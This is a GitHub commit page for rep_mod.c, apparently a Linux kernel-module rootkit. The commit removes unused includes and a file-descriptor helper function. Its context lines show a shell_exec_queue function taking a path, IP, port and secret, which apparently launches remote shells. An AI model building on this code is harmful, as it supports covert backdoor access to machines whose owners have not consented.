Skip to content

Commit

Permalink
Removing unused
Browse files Browse the repository at this point in the history
  • Loading branch information
f0rb1dd3n authored Nov 27, 2018
1 parent d14679a commit bfe400e
Showing 1 changed file with 0 additions and 30 deletions.
30 changes: 0 additions & 30 deletions rep_mod.c
Original file line number Diff line number Diff line change
Expand Up @@ -31,18 +31,8 @@
#include <linux/workqueue.h>
#include <net/inet_sock.h>

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif
#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 26)
#include <linux/fdtable.h>
#endif

#include "engine/engine.c"
#include "engine/engine.h"

#include "config.h"

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 20)
Expand Down Expand Up @@ -309,26 +299,6 @@ int shell_exec_queue(char *path, char *ip, char *port, char *secret)
return queue_work(work_queue, &task->work);
}

struct file *e_fget_light(unsigned int fd, int *fput_needed)
{
struct file *file;
struct files_struct *files = current->files;

*fput_needed = 0;
if (likely((atomic_read(&files->count) == 1))) {
file = fcheck(fd);
} else {
spin_lock(&files->file_lock);
file = fcheck(fd);
if (file) {
get_file(file);
*fput_needed = 1;
}
spin_unlock(&files->file_lock);
}
return file;
}

int f_check(void *arg, ssize_t size)
{
char *buf;
Expand Down

0 comments on commit bfe400e

Please sign in to comment.